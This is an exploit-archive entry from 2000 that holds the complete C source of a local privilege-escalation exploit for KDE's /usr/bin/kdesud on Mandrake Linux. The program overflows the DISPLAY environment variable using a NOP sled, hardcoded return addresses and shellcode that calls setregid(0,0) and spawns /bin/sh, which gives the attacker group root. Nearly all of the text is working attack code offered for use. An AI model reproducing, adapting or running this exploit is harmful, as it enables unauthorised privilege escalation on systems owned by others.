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kdesud.c

kdesud.c
Posted Jun 9, 2000
Authored by noir

/usr/bin/kdesud has DISPLAY enviroment variable overflow - exploit gives gid=0, tested on Mandrake 7.02.

tags | exploit, overflow
systems | linux, mandrake
SHA-256 | 8b85d8dcf4d727c24bbbc0ac3bf68dc420f4d2860eb3301427c685428fe26a91

kdesud.c

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/*
/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0

Shameless self promotion: Any security related job in Istanbul/Turkey
???

Respect,
noir
*/
/* KDE: /usr/bin/kdesud exploit by noir
* x86/Linux
* noir@gsu.linux.org.tr | noir@olympos.org
* DISPLAY env overflow
* this script will get you gid = 0 !!
* tested on Mandrake 7.0 (Air), for other distros play with argv1 for
eip
* greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
*
*/

#include <stdio.h>
#include <string.h>

#define NOP 0x90
#define ALIGN 2
#define RET 0xbffff664 // Mandrake 7.0 (x86)

int
main(int argc, char *argv[])
{
unsigned char shell[] =
"\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char buf[400];
int i, a;
long ret = RET;

if(argv[1])
ret = ret - atoi(argv[1]);

memset(buf, NOP, 400);

for(i = ALIGN ; i < 160 + ALIGN; i+=4)
*(long *) &buf[i] = ret;

for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
buf[i] = shell[a];

buf[399] = 0x00;
printf("eip: 0x%x\n", ret);

setenv("DISPLAY", buf, 1);
execl("/usr/bin/kdesud", "kdesud", 0);

}


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